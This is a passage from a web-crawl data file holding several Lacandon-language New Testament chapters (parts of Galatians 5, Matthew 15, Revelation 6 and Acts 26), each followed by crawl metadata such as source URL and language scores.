tar ich C'uj quir u camsiquechex, a techexo' tu tet techex C'uj.\n9 Mʌ' u yʌn tubur techex. Cax turiri' a mac a cu yʌnxchun u camsiquechex. Aro' cax chichin cu sip cu yacsiquechex ta c'axirex, an ten bic chichin u ts'ac pan cu sip tu cotor yo'och pan.\n10 A teno' mʌ' jin tucrej quire' C'uj cu bin u yamtiquechex soc mʌ' ja quibex u t'ʌn. Barej raji' cu bin ts'abir u muc'yaj ten C'uj a mac u c'at u tusaric techex.\n11 In bʌjobechex. A mac a cu p'actiquenobo' cu man u tsicbʌtob caj tus a'arob ten quin man in camsej bic tabar u ts'irej u bʌq'uer tu cu wixob, an ten bic nani cu beticob u winiquirob judío. Caj u tus a'arob xan quin man in camsob bic u quibicob u t'ʌn Moisés quir u tocar ten C'uj. Baxuc cu tus a'aricob tenobo'. Wa baxuc quin qui' camsicob, mʌ' ju chucob in pach u winiquirob judío, u qui' yajenob. Qui' yorob u yubiquenob in camsic. Mʌ' ja wirej, ti' toy cu chuquicob in pach. Jaj ix tʌcoj, mʌ' u p'uj yorob quire' caj in tsicbʌticob tu cu baj ich cruz soc u jawsic ic si'pirex Cristo.\n12 Am biquinin jach manan in c'at in wiric ca' a joc'sex a mac a cu tus camsiquechex ca' a ts'irex a bʌq'uerex soc u tus taquiquex C'uj. In c'at in wiriquex a joc'siquex soc mʌ' u yacsic a si'pirex.\n13 Barej a techexo' in wet acsʌ'orirex, mʌ' ju toc sip techex C'uj soc mʌ' a ts'urintiquex a ba' ts'iba'an ich u t'ʌn Moisés. Cax mʌ' sipta'bechex ten C'uj barej mʌ' tsoy a mʌnex a pach ta worex a c'aso'. Caj u sip techex C'uj soc a yajquintiquex a wet acsʌ'orirex soc a yamtiquex a ti'obo'.\n14 Wa quij quibiquex a tu cu ya'aric: \"Ca' a yajquintex a wet cajarex an ten bic a wʌc'ʌs bʌjiri'ex ca yajquintiquex\", jeroj, ca quibiquex tu cotor a ba' ara'b ten C'uj jach taj.\n15 Mʌ' a yʌn pacran ts'ictarex, quire' a je'ra' u t'ʌn C'uj tu yʌnechex bin u caj ch'ejar.\nA ba' cu pachtic tu yor winic yejer a ba' cu pachtic u Taj'or u Pixam C'uj\n16 U'yex ba' quin chich aric techex soc ca' a cʌnex. Cha'ex u pʌyic a berex u Taj'or u Pixam C'uj soc mʌ' a pachtiquex ta worex a c'aso'.\n17 Mʌ' ja wirej, a ba' quic pachtiquex tij corex cu pʌyic ic berex tu c'asir. Rajen cu p'actic u pʌyic ic berex u Taj'or u Pixam C'uj. Mʌ' ja wirej, mʌ' quet yor u Taj'or u Pixam C'uj yejer a c'aso' a quic pachtiquexo' tij corex xano'. Rajen mʌ' ic mʌnex ic ba' a c'atex quire' cu pacran p'aticob u bʌj u Taj'or u Pixam C'uj yejer a c'aso'.\n18 Wa ca cha'iquex ca' u camsechex u Taj'or u Pixam C'uj tu cu pʌyic a berex, jeroj, mʌ' ju bin u ta'quic a jo'rex ti' u t'ʌn Moisés.\n19 Wa quij quibiquex a ba' quic pachtquex tij corex, a c'aso', baxuc a je' quic bin ic betex: Quic manex soc ij quiriquex xquic. Cu man xquic xan quir u yiric xib. Quic bin ic chuquiquex xquic. Quic bin ic betex tu cotor a c'aso'.\n20 Wa quij quibiquex a ba' quic pachtiquex tij corex a c'aso', quic bin ij c'ujintex tus C'uj. Quic bin ij c'ʌyex mac. Quic bin ic pacran p'equintiquex ic bʌjex, mʌ' ba'wir ti' u jer mac. Cu bin q'uextar ij corex. Quic bin ic ts'ictarex. Quic bin ic tucrex ic nojnoj bʌjiri'ex. Quic bin ic p'usex yor ic rac'ob soc mʌ' quet yorob. Quic bin ic p'actex ic rac'ob soc u tiri' a ti'o'.\n21 Quic bin ij c'atex a ba' yʌn ti' mac. Quic bin ij carchʌjarex. Quic bin ic nejenjanrex. Quic bin ij quinsiquex mac. Quic bin ic betex tu cotor a c'aso' baxuco'. A mac a cu betic baxuco' mʌ' c'ucha'an yor u yocar tu cu reyinticob C'uj ich ca'anan. Ts'oc in wa'aric techex aro' chen quin wʌc'ʌs ca' aric techex aro'.\n22 Chen tu cu pʌyic a berex u Taj'or u Pixam C'uj quic bin ic betex baxuc jera': Quic bin ic yajquintex mac. Cu bin u qui'tar ij corex. Mʌ' jic tucriquex ba'. Nemʌ' jach bico'onex. Jach tsoy ij corex yejer mac. Quin bin ic manex tu tsoyir. Taj ba' quic bin ij carex.\n23 Chen a mac caj pay u ber ten u Taj'or u Pixam C'uj, cax p'asta'c ten mac mʌ' ju p'ujur ti'. C'ucha'an yor ti' a ba' cu tar u tumta'bir yor quire' yamta' ten u Taj'or u Pixam C'uj. Mʌ' ja wirej, wa baxuc quij quibiquex a jeroj, mʌ' ju bin u ta'c ic jo'rex ti' u t'ʌn Moisés.\n24 Rajen a mac a cu yacsic tu yor ti Cristo, mʌ' ju cha' u pʌy u si'pir a ba' cu pachtic tu yor cax wa jach tsoy. Bayiri' xan a c'aso' cu toc ruc'sic a mac yacsmʌn tu yor, bajen Jesús caj u ruc'saj caj bajij ich cruz uch.\n25 Wa ja c'at a wet manex u Taj'or u Pixam C'uj cha' u pʌyic a berex u Taj'or u Pixam C'uj.\n26 Mʌ' jic yʌn tucriquex wa jach manan caremo'onex quire' a baywo' quic choquintiquex yor ic rac'ob. Mʌ' tsoy u pacran q'uextar ij corexi'.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/GL5.html","date":"2022-07-07T07:05:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104683708.93\/warc\/CC-MAIN-20220707063442-20220707093442-00227.warc.gz","language":"lac","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000004529953003}","num_words":1181,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.283,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15\nBic tabar cu pʌyic u si'pir mac\n(Mr. 7.1‑23)\n1 Caj tarob tu yʌn Jesús. Tarob u winiquirob judío a fariseobo' quir u c'aticob ti' Jesús. Tar u tar u winiquirob judío a fariseobo' ich u cajar Jerusalén. Yet taracob yʌjcamsʌyʌjirob u t'ʌn Moisés. Mʌ' ya'ab caj c'uchob ich Jesús.\n2 Caj c'ata'b ti' ten u winiquirob judío a fariseobo' yejer yʌjcamsʌyʌjirob u t'ʌn Moisés:\n―Biquinini' a camsʌwinicob mʌ' u quibejob a ba' cu ya'aricob ic nunquir? Rajra' cu janʌnob. Mʌ' u p'o'icob u c'ʌb cu janʌnob.\n3 Caj c'ata'b ti'ob ten Jesús:\n―Biquinin ca cʌrʌx betiquex u t'ʌn C'uj? Biquinin u t'ʌn a nunquirex ca cʌniquex? Mʌ' tan a quibiquex a ba' cu ya'ariquex C'uj.\n4 Caj u ya'araj Jesús:\n―\"Ca' a sʌjt a tet, quij C'uj. Baxuc a nʌ' xan ca sʌjtic. Mʌ' tsoy a pach'ic a tet yejer a nʌ'. Bin a ca' quimin, quire' caj pach'aj u tet yejer u nʌ'. Cu joc'sa' ch'inbir u jo'r ten u rac'ob quire' caj u pach'aj u tet yejer u nʌ'.\" Baxuc caj ya'araj C'uj ich u t'ʌn.\n5 Biquinin techex ca wa'ariquex a tet yejer a nʌ' mʌ' u c'uchur a worex a yamtex a tet yejer a nʌ' quire' a ba' yʌn techex caj a toc ts'ajex ti' C'uj? Baje'rer mʌ' techex yʌnin, C'uj yʌnin.\n6 A techexo', ca camsiquex cax a mac cu ya'aric: \"Mʌ' in yamtic in tet yejer in nʌ'. Caj in toc rʌc ts'aj ti' C'uj.\" Quire' mʌ' caj a quibex u t'ʌn C'uj a cu ya'aric: \"Ca' a sʌjtex a tet yejer a nʌ'.\" Ca chen qui' cʌnantiquex u t'ʌn a nunquirex.\n7 Caj ya'araj Jesús ti' u winiquirob judío a fariseobo':\n―Irechex wa ca'tur a tucurex, quire' taj caj u camsa techex Isaías uch. Caj u ts'ibtajechex uch:\n8 A je' maca', quij Isaías. Cu tusaricob: \"Quin sʌjticob C'uj\", chen a tu pixamo' cu ya'aricob: \"Mʌ' in sʌjtic C'uj.\"\n9 Caj u ts'ibtaj Isaías uch: A C'ujo' cu ya'aric: \"Ba'wir cu chen c'ujintiquenob wa mʌ' u quibicob in t'ʌn? Mʌ' ja wirej, chen u t'ʌn winiquir cu quibicob quire' raji'ob cu camsicob u t'ʌn winic irej wa ju t'ʌn C'uj cu camsicob.\"\nBaxuc caj u ts'ibtaj Isaías uch.\n10 Jesús caj u pʌyaj mac a pimo'. Caj ya'araj Jesús ti' a mac caj u much'quintob u bʌj:\n―U'yex ba' quin wa'aric techex ca' a cʌnex.\n11 A mac a cu yubic u si'pir, ra' mʌ' u yacsic u si'pir quire' a ba' caj u jantaj. Ra' cu yacsic tu si'pir u t'ʌn a cu joc'ar tu chi', a c'aso'.\n12 U camsʌwinicob Jesús caj u juts'ob u bʌj ich Jesús. Caj ara'b ti' Jesús ten u camsʌwinicob:\n―A ba' caj a wa'araj ti'ob sam, caj a choquintaj u yorob u winiquirob judío a fariseojo'. Mʌ' wa ta wu'yaj ―quij u camsʌwinicob?\n13 Caj ya'araj Jesús ti' u camsʌwinicob:\n―U t'ʌn C'uj mʌ' u ch'eja'r. A cu tus camsicob cu ya'aricob u t'ʌn C'uj cu tsec'ticob. Ra' cu bin ch'eja'r ten ic Tet C'uj ca'anan. Irej a mac a cu joc'sic u che'er yejer u mo'os.\n14 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Tsire'ej u tucurob u winiquirob judío a fariseojo'. Irob mʌna' u wichob a fariseojo'. A mac a cu pʌyic u jer ch'op u wich tu cu bin rubur tu ch'ica'anin ru'um. Mʌ' ja wirej, tu cu binob erar ich c'ac'. Mʌ' ja wirej, cu yubic u t'ʌn a fariseojo'.\n15 Pedro caj tarij ich Jesús. Caj c'ata'b ti' Jesús ten Pedro:\n―Ba' quire' u c'at ya'aric a caj a camsaj u winiquirob judío a fariseojo'. A caj a wa'araj ti': \"Cax mʌ' ju p'o'ic u c'ʌb cu janʌn.\"\n16 Caj ya'araj Jesús ti' Pedro:\n―Mʌ' wa ja najtex irechex u winiquirob judío a fariseojo' xan?\n17 Ara'b ti' Pedro ten Jesús:\n―A ca jantic a wo'ocho', cu bin ta chocher, ca ta'ic.\n18 Mʌ' ja wirej, ti' u tar cu joc'ar a t'ʌn ta chi'. A c'aso', ti' u tar ti' u tucur mac. Quire' c'as rajen cu pʌyic u si'pir. Mʌ' quir u janʌn.\n19 Quire' a c'as ca tucric ti' cu yʌnxchun tu tucur mac, quire' cu tucric u quinsic mac. Quire' a mac a cu man, ti' cu tar a cu tucric. Quire' cax mʌna' u mam cu tucric u man, ti' cu tar cu joc'ar tu tucur. Baxuc xib xan, cu tucric u man cax mʌna' u rac'. Ti' cu tar u joc'ar tu tucur. A cu ch'ic u ba'tʌc mac, ti' cu tar u joc'ar tu tucur. Quire' a cu tus, ti' u tar u joc'ar tu tucur. Quire' a cu pac'ʌr u pach u rac'ob, ti' u tar u joc'ar tu tucur.\n20 A ray u si'piro' cu casquintic mac. Quire' a ba' cu janʌn mac cax rajra' cu janʌn mʌ' u pʌyic u si'pir mac.\nCaj tar xquic ich jumpet ru'um. Tar ich Jesús\n(Mr. 7.24‑30)\n21 Ruc' Jesús tu cajar tuj tar c'atbir ten u winiquirob judío a fariseojo' ti' Jesús:\n―Biquinin mʌ' u p'o'icob u c'ʌbob a camsʌwinicob cu janʌnob?\nCaj joc' Jesús tar cu bin tu ru'um bʌytʌc tu yʌn u cajar Tiro yejer u cajar Sidón.\n22 Caj tar xquic. Ti' u tar xquic u ru'umin cananea. Caj tar cʌjtar ich u ru'umin Tiro yejer u cajar Sidón. Caj tar ich Jesús caj u c'am t'ʌntaj:\n―Jaj Ts'urir ―quij―, quire' u pararech a nunquir David. Yajquinte ten yejer in chan parar xquic. Aca'an quisin ti', jach yaj.\n23 Barej Jesús mʌ' ju nuncaji'. Caj tarob u camsʌwinicob Jesús caj u chich c'atajob ti' Jesús:\n―Cu jach chich t'ʌniquenob a xquico'.\n24 Caj ya'araj Jesús:\n―Mʌ' ya'araj in bin C'uj, chen tu satʌr u winiquirob judío. Quin bin in tsec'tej ti'ob quire' C'uj cu yiric irob tʌmʌn yuc a satʌro'.\n25 Caj u juts'aj u bʌj xquic ich Jesús caj xonrʌj. Caj ya'araj:\n―Jaj Ts'urir, chan yam ten.\n26 Caj ya'araj Jesús ti' xquic:\n―Mʌ' tsoy in ts'ic tech a ba' caj u ts'aja C'uj ti' u winiquirob judío. Mʌ' quir in yamtiquech. Mʌ' u winiquir judíojech. Quire' mʌ' tsoy u ts'abʌr tech a ts'aja'an ti' u winiquirob judío irej wa tan u taquic u yoch u parar quir u ts'ic ti' pec'.\n27 Caj ya'araj a xquic:\n―Jach jaj, Jaj Ts'ur, a ba' ca wa'aric. A pec'o' cu chuquic u jantej u p'up'ir yo'och u winiquirir wa cu potar ich yaran pojche'. Rajen quin c'atic tech ca' a yam ten cax chichin.\n28 Jesús caj u nuncaj ti' xquic:\n―Taj caj a qui' acsaj ta wor ten xquic. Ca' joc'ac u quisinin a chan parar xquic. A ta chich c'ata ten.\nSep caj jaw u chan parar xquic.\nJesús caj u jawsaj mac, jach ya'ab caj u jawsaj mac\n29 Caj joc' Jesús tu caj u jawsaj u parar chan xquic aca'an quisin ti'. Caj manij chi'c'ac'nab. U c'aba' u c'ac'nabir Galilea. Caj nac Jesús ich u jo'r p'uc wits caj curaj.\n30 Caj c'uchij a pimo' tu yʌn Jesús. Caj tar purbir mech yoc. Caj tar purbir xan ch'op u wich. Caj tar purbir xan mʌ' u joc'ar u t'ʌn. Caj tar purbir mech u c'ʌb xan. Baxuc u yajirir ya'ab, caj tar purbir ich Jesús. Caj tar chaquinbir ich yoc Jesús. Caj jawsa'b ten Jesús.\n31 Caj yirob a pimo' jawsa'b a mʌ' u joc'ar u t'ʌn, caj joc' u t'ʌn. Caj yirob a pim caj jaw u yac'bir u wich, caj u qui' iraj u ber. Caj yirob u rʌc jawʌr mech yoc, caj yirob u ximbar. Caj yirob u jawʌr mech u c'ʌb, caj tsoyij u c'ʌb. Caj jaq'uij yorob a pimo'. Caj ya'arab ti' C'uj:\n―Jach caremech C'uj u C'ujirech u winiquirob israel.\nJesús cu ts'ic yo'och cax cuatro mil xib cu jansic\n(Mr. 8.1‑10)\n32 Caj u pʌyaj u camsʌwinicob Jesús caj ya'araj ti' u camsʌwinicob:\n―In c'at in yajquinticob ti' a pimo', quire' wi'ichʌjob. Quire' mʌna' u nup u q'uinin ti' yʌnob tu yʌnen. Mʌna' yo'och, mʌ' ba' cu janticob. Mʌ' jin c'at in tuchi'ta'r ich yatochob, quire' mʌna' ba' cu janticob. Quire' mʌ' ju c'uchurob ich bej, quire' wi'ij.\n33 Caj ya'araj u camsʌwinicob:\n―Bic tabar ij quirej ij co'och quire' jach pim? Quire' mʌna' mac cʌja'an tera' quir ic mʌnic yo'och.\n34 Jesús caj u c'ataj ti' u camsʌwinicob:\n―Mun yʌn techex a wo'ochex pan?\nCaj u nuncajob:\n―Yʌn siete pan. Mʌ' ya'ab cʌy yʌn ti'.\n35 Caj ara'b u cutarob a pimo' ten Jesús ich ru'um.\n36 Caj ts'a'b ti' Jesús ten u camsʌwinicob. Siete pan caj ts'a'b ti' Jesús. Ts'a'b ti' cʌy Jesús. Caj u t'ʌnaj C'uj Jesús:\n―Bayo' C'uj caj a ts'aj to'on ij co'och.\nCaj ts'oc u t'ʌnic C'uj, caj u ts'aja ti' u camsʌwinicob Jesús. Caj u rʌc jʌsajob ich a pimo'.\n37 Caj jantob caj rʌc najchʌjob. Caj xur u janticob ti' rʌc p'at u xet'er. Caj u marob u xet'er caj chup siete xac.\n38 Yʌn cuatro mil xib caj janob. Mʌ' tu xacob mun a xquic caj janʌnob. Mʌ' xaca'an u parar xan.\n39 Caj ts'oc u janʌnob caj ya'araj ti'ob a pim ca' xicob. Caj oc Jesús ich chem caj bin tu ru'umin Magdala.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT15.html","date":"2022-06-26T16:48:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103271763.15\/warc\/CC-MAIN-20220626161834-20220626191834-00628.warc.gz","language":"lac","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000076293945312}","num_words":1482,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.299,"stopwords_ratio":0.518,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6\nA siete ba' a nich'a'an tu ju'unin a cats'a'ano'\n1 Tu tin wʌyʌc'taj ich ca'anan, caj in wiraj a tʌmʌn yuco' caj u pitaj a ba' nich'a'an tu ju'unin a cats'a'ano'. Tu chen rʌcaj turiri', quire' ti' yʌn siete a ba' nich'a'an tu ju'unin. Caj ts'oc u rʌquic a turiri' ba' tu nich'a'an tu ju'unin caj in wu'yaj c'am t'ʌnajij turiri' a ba', irej bʌc', a cuxa'ano'. Raji' turiri' ich a cuatro a ba', irej bʌc', a cuxa'anobo'. Caj in wu'yaj u t'ʌn irej a ba' cu pec. Raji' caj u ya'araj ten:\n―Cojen Juan, quen, ca' a pʌct a ba' cu bin tar ca' bin c'uchuc tu q'uinin.\n2 Jeroj ʌcʌtan caj in wiraj tin wich ti' xʌca'an turiri' tsimin, chen sʌc. A mac a cʌpa'an tu pach a tsimino', raji' u mʌchmʌn jʌrʌr quir u bin u jurej mac. Tin wiraj u toc p'oquinmʌn tu jo'r u p'oc an ten bic mac a toc c'ucha'an yor ti' mac. Tin wiraj yʌn u wich an ten mac a c'ucha'an yor ti' mac. Mʌ' ja wirej, raji' yer je' u c'uchur u yor ti' mac tu cotor.\n3 Caj ts'oc in pʌctic aro', caj in wiraj a tʌmʌn yuco' caj u wʌc'ʌs rʌc u jer ba' a nich'a'an tu ju'unin, a cats'a'ano'. Jeroj caj u jit u ju'unin, a cats'a'ano' hasta c'uchij tu yʌn a tres ba' a nich'a'an tu ju'unino'. Jeroj tune', caj in wʌc'ʌs u'yaj u t'ʌn u jer a ba' irej bʌc', a cuxa'ano', raji' a ca'tur ich a cuatro a ba' irej bʌc', a cuxa'ano'. Caj joc' u t'ʌn, caj u ya'araj ten:\n―Cojen, quen, Juan, ca' a pʌct a ba' cu bin tar ca' bin c'uchuc tu q'uinin.\n4 Jeroj ʌcʌtan tin wich caj in wiraj ti' yʌn u jer tsimin xʌca'an, raji' chʌc, caj joq'uij. A mac a cʌpa'an tu pach aro' caj ts'a'b u muc' ten C'uj soc a mac a ti' yʌnob ich yoc'ocab bin u ca' u pacran quinsicob u bʌj soc tu cotor mac mʌ' quet yorob, rajen u mʌchmʌn u mascab a cʌpa'an tu pach chʌc tsimin.\n5 Barej caj ts'oc in pʌtic aro', caj in wir a tʌmʌn yuco', caj u rʌc u jer a ba' nich'a'an tu ju'unin. Raji' caj u jit u ju'unin tu cats'a'ano' hasta c'uchij tu yʌn a cuatro ba', a nich'a'an tu ju'unin. Jeroj tune', caj in wu'yaj u t'ʌn a ba' irej bʌc', a cuxa'ano', raji' tres ich a cuatro a ba' irej bʌc', a cuxa'ano'. Raji' caj u puraj u t'ʌn ten caj ya'araj:\n―Cojen Juan, ca' a pʌct a ba' cu bin tar ca' bin c'uchuc tu q'uinin.\nJeroj tune', caj in wiraj u jer tsimin, chen box. A mac a cʌpa'an tu pach a tsimino', u t'uymʌn u ba'inquiri' quir u ribratic ba'.\n6 Ra' u q'uinino' caj in wu'y u t'ʌn, jaj ix ti' cu tar ti' a mac a curucbar tu cutano' a jach caremo', quire' ti' yʌn chumuc a cuatro a irej bʌc'o', a cuxa'ano'. Raji' caj u ya'araj:\n―Jariri' turi' u kilo bu'ur u bo'orir u c'ʌb turiri' u q'uinin ―quij―, a mac a cu beyaj cu chen bin u jaric u bo'orir u c'ʌb. Bayiri', xan, jariri' mʌna' u nup' u kilo yo'och nʌr bin u jar u yo'och u bo'orir u c'ʌb turiri' u q'uinin u beyaj. A cu t'ʌno' caj u toc a'araj: \"Mʌ' a c'asquintic u yuc'ur soc chʌc yʌn yuc'ur.\" Bayiri' yo'och tsats xan, mʌ' a c'asquintic soc chʌc yʌn yo'och tsats xan.\n7 Caj ts'oc in pʌctic aro' caj in wiraj u tʌmʌn yuc caj u pitaj a ba' nich'a'an tu ju'unin caj u jitaj hasta xurij ich a ba' nich'a'an tu ju'unin, a cincojo'. Jeroj, tune', caj u pur u t'ʌn ten irej a bʌco', a cuxa'ano', a cuatrojo'. Raji' caj u ya'araj:\n―Cojen, quen, Juan, soc a wiric a ba' cu bin tar ca' bin c'uchuc tu q'uinin.\n8 Jeroj ʌcʌtan tin wich tu tin wʌyʌc'taj ti' yʌn u jer turiri' tsimin ti' xʌca'ani', aro' jach c'ʌn. A mac a cʌpa'an tu pach, ra' u c'aba' tu cu naj bin mac a cu quimino' quire' ra' u c'aba'. A mac a cu say tu pach a yʌn joc'o', raji' cʌpa'an tu pach u jer tsimin. Ra' u ts'urir tu cu bin a mac a cu quimino'. Robob toc ts'a'b u muc' ten C'uj a ca'turo', quir u quinsicob mac tu cu ch'ʌquicob u bʌj, cax tu cu wi'ichʌjʌr mac, cax tu cu yajtarob mac, bayiri' xan cu bin quinsbir ten u c'axir bʌc'. Robob je' u quinsicob junxot' a mac a cuxa'an ich yoc'ocab.\n9 Caj ts'oc in wiric aro', jeroj tune', caj in wʌc'ʌs pʌctaj caj in wiraj a tʌmʌn yuco', caj u jit u jer a ba' nich'a'an tu ju'unin, a cats'a'ano'. Raji' caj u sʌts' u ju'unin hasta caj xurij tu yʌn a sextojo' quire' tu jit a quintojo' a ba' nich'a'an tu ju'unin. Wa ber caj in wʌyʌc'taj aro', caj in wiraj a mac quinsa'b ten u rac'ob quire' tu quibob u t'ʌn C'uj caj u yacsob tu yorob ti' Cristo uch. Robob ti' yʌnob tu cuchir irob wa yaran tu cu naj quinsic yʌrʌc' quir u ts'abʌr ti' C'uj quir u ruc'sic u si'pir mac.\n10 Robob caj u purob u t'ʌn ti' Jaj Ts'ur, caj c'am t'ʌnajob tan ya'aricob:\n―Mun u q'uinin ic Jaj Tsurirex ca' ic pajex quir a bo'otic u bo'orir u c'ʌb a mac a tu quinso'onex ich yoc'ocab uch? Mun u q'uinin ca' ic pajex quir a ta'quic u jo'r a mac a tu quinso'onex uch, quire' rajra' ca betic a ba' tsoy tu t'ʌn C'uj. Bayiri' xan, jach taj a tsicbar quire' rajra' ca betic a ba' tsoy tu t'ʌn C'uj, a techo'.\n11 Robob ts'a'b u buquintaj u sʌc noc' ten C'uj quire' quinsa'b. Jujuntur ts'a'b u sʌc noc'. Caj ara'b ti'ob ca' u je'sob u bʌj u jer mʌ' ya'ab u q'uinin quire' mʌ' toy nupuqui' a mun u yet acsʌ'orirob a cu bin quinsbir ten u rac'ob xan. Bayiri' xan, a cu bin u chucob u pachob an ten bic caj chucob u pachob xan.\n12 Caj ts'oc in pʌctic aro', caj in wʌc'ʌs iraj a tʌmʌn yuco', caj u rʌcaj, caj u jit u jer a ba' nich'a'an tu ju'unin, a cats'a'ano'. Raji' caj u sʌts'aj u ju'unin hasta xurij tu yʌn a septimojo', quire' tu rʌcaj caj u jit a sextojo' ba', a nich'a'an tu ju'unin. Jeroj tune', caj in wir u ch'ic yum u pec ru'um, a q'uino' caj ac'birchʌjij soc irej jach ec' noc', a mac a cu naj buquintico' quir u yesic ti' mac, tucur u ca'. A jic nʌ'o', t'ʌra'an caj waysa'b soc chʌc u wich irej q'uiq'uer.\n13 Jeroj, caj in wiraj a sabo' ich ca'anano', caj in wiraj u rubob ich ca'anan, caj rubob irej wa ju wich che' cu jutur cu tar u ch'ic yum ic', cax c'asa'an u wichob.\n14 Bayiri' xan, a ca'ano', binij an ten bic a ju'uno', a mʌ' cats'a'ano', u cats'ic u bʌj an ten bic ju'un a cats'a'ano'. A ru'umo' yejer u witso' bayiri' xan yejer u petenin ja' caj rʌc ruc'sa'b tu cuchir tu yʌnob uch.\n15-16 A ray u q'uinino', a reyo', a cu reyinticob mac, yejer a mac a cu ts'urinticob mac, yejer a capitano', a ju ts'urir u soldado, yejer a mac a neyʌn u taq'uino', yejer a mac a jach chich u muc' quire' yʌn u winiquirob, yejer a mac a cu c'ʌnicob u jer mac, yejer a mac a ju c'urewob, yejer a mac a mʌ' c'anan ten u jer, caj rʌc puts'ob tu japnin tunich, cax ich u tunichir ich wits' quir u tac'birob u bʌj, quire' mʌ' u c'atob irir ten C'uj tu cu bin u taquicob u jo'rob ten C'uj, yejer a tʌmʌn yuco', quire' raji' cu bin u tuchi'ticob soc u ts'a'bʌr u muc'yaj a ti'obo'.\n17 Mʌ' ja wirej, c'uchij tu q'uinin caj urij Jesucristo a mac c'ucha'an u yor ts'abʌr u muc'yajob.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV6.html","date":"2022-07-07T11:51:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104690785.95\/warc\/CC-MAIN-20220707093848-20220707123848-00449.warc.gz","language":"lac","language_score":0.9999965429,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.999996542930603}","num_words":1320,"character_repetition_ratio":0.09,"word_repetition_ratio":0.031,"special_characters_ratio":0.31,"stopwords_ratio":0.502,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"26\nCu taquic u bʌj Pablo ʌcʌtan rey Agripa\n1 Agripa tun, caj u ya'araj ti' Pablo:\n―Wa a c'at a taquic a bʌj, arej tenob baje'rer Pablo.\nPablo tune', caj u nacsaj u c'ʌb quir u t'ʌnic a reyo'. Caj u yʌnx chun u t'ʌn quir u taquic u bʌj:\n2 ―Jach qui' in wor quir in taquic in bʌj baje'rer ʌcʌtan a techo' reyech Agripa. Qui' in wor in taquic in bʌj tu cotor ba' a cu taquicob in jo're' u winiquirob judío.\n3 Quire' a techo', a ne'er tu cotor bic tabar u cuxtarob u winiquirob judío bayiri' xan, bic tabar mʌ' p'eri' yorob ich u yet winiquirob judíojo'. Rajen quin chich c'atic tech, ca' a qui' u'yej a quin wac techo'.\nCu ya'aric bic u cuxtar Pablo hasta tu q'uinin caj u yacsaj tu yor\n4 Mʌ' ja wirej, tu cotor in wet winiquirob judío yerob bic in cuxtar tin chichinin. Yerob tu yʌnxchun u beri' ti' yʌnen uch, tin ru'um Cilicia, hasta caj in p'ʌtaje' caj taren ich u cajar Jerusalén.\n5 Wa ju c'atob a cu taquicob in jo'r, c'ucha'an yorob ya'aricob jach taj u winiquiren fariseo uch wa ju c'at, quire' yerob u winiquiren fariseo uch ya'ab u yaxq'uinin. Mʌ' ja wirej, u winiquirob judío a fariseojo' cu jach qui' u'yicob tu cotor ba' ts'ibta'b ten in nunquirob uch. U jer ich u winiquirob judío mʌ' ju nequi' quibob.\n6 Baje'rer, ti' yʌnen ʌcʌtan tech rey Agripa quir u joc'ar u tajir a cu taquicob in jo'r ten in wet winiquirob judío. Mʌ' ja wirej, cu chen taquicob in jo'r, quire' caj in wacsaj tin wor u t'ʌn C'uj tu cu ya'aric ti' in nunquirob judío, je' u ric'sa' ten C'uj tu cotor mac tu quimen.\n7 Mʌ' ja wirej, tu cotor u winiquirob judío, a doce yo'neno', caj u toc pajajob je' u riq'uir tu cotor mac tu quimen, quire' caj u toc araj C'uj je' u ric'sique' rajen u winiquirob judío cu naj c'ujinticob C'uj. Mʌ' ja wirej, Rajra' u naj pajicob u q'uinin ca' u nup'sej u q'uinin a ba' cu ya'aric C'uj uch. Rajen cu taquicob in jo'r baje'rer, quire' caj in chen quibaj a ba' cu ya'aric C'uj: \"Je' u riq'uir mac tu quimene'.\" Baxuc quin wa'aric tech in reyech Agripa.\n8 Arej ba' ca tucriquex u winiquirex judío. Mʌ' wa c'ucha'an yor C'uj ca' u ric'sej mac tu quimen?\nCaj u ya'araj Pablo: Tin chucajo' u pachob a yacsmʌnob tu yorob uch\n9 A ucho', in bʌjiri' caj in tucraj tsoy ca' in chuc u pachob tu cotor a yacsmʌnob tu yorob u t'ʌn Jesús, a cʌja'an ich u cajar Nazaret uch.\n10 Baxuc caj in betaj ich u cajar Jerusalén uch. Mʌ' ja wirej, u jach ts'urirob u sacerdote u winiquirob judío, caj u chucajob ju'un ten soc c'ucha'an in woro' in chucob u pachob. Mʌ' jariri', barej caj u c'atajob ten: \"Tsoy wa ju quinsa' a yacsmʌnob tu yorob?\" A teno', caj in wa'araj: \"Tsoy u quinsa'.\"\n11 Ya'ab u tenin caj in chuc u pachob ich tu cotor u chan naj tu cu naj c'ujinticob C'uj u winiquirob judío. Mʌ' ja wirej, caj in ts'aj u muc'yaj, in wirej wa cu p'ʌticob u yacsicob tu yorob ti' u t'ʌn Jesús. Quire' jach manan ts'iquen, rajen cax u jer ru'um jach nach, caj in cʌxtob quir in chuquic u pachob.\nCu wʌc'ʌs tsicbar Pablo bic caj u yacsaj tu yor u t'ʌn Jesús\n12 Caj u ya'araj Pablo:\n―Rajen quin bin ich u cajar Damasco uch quir in chuquic u pachob a mac a yacsmʌnob tu yorob u t'ʌn Jesús. Mʌ' ja wirej, caj u cha'j in bin u jach ts'urirob u sacerdote u winiquirob judío, robob caj u ts'aj ten u muc', 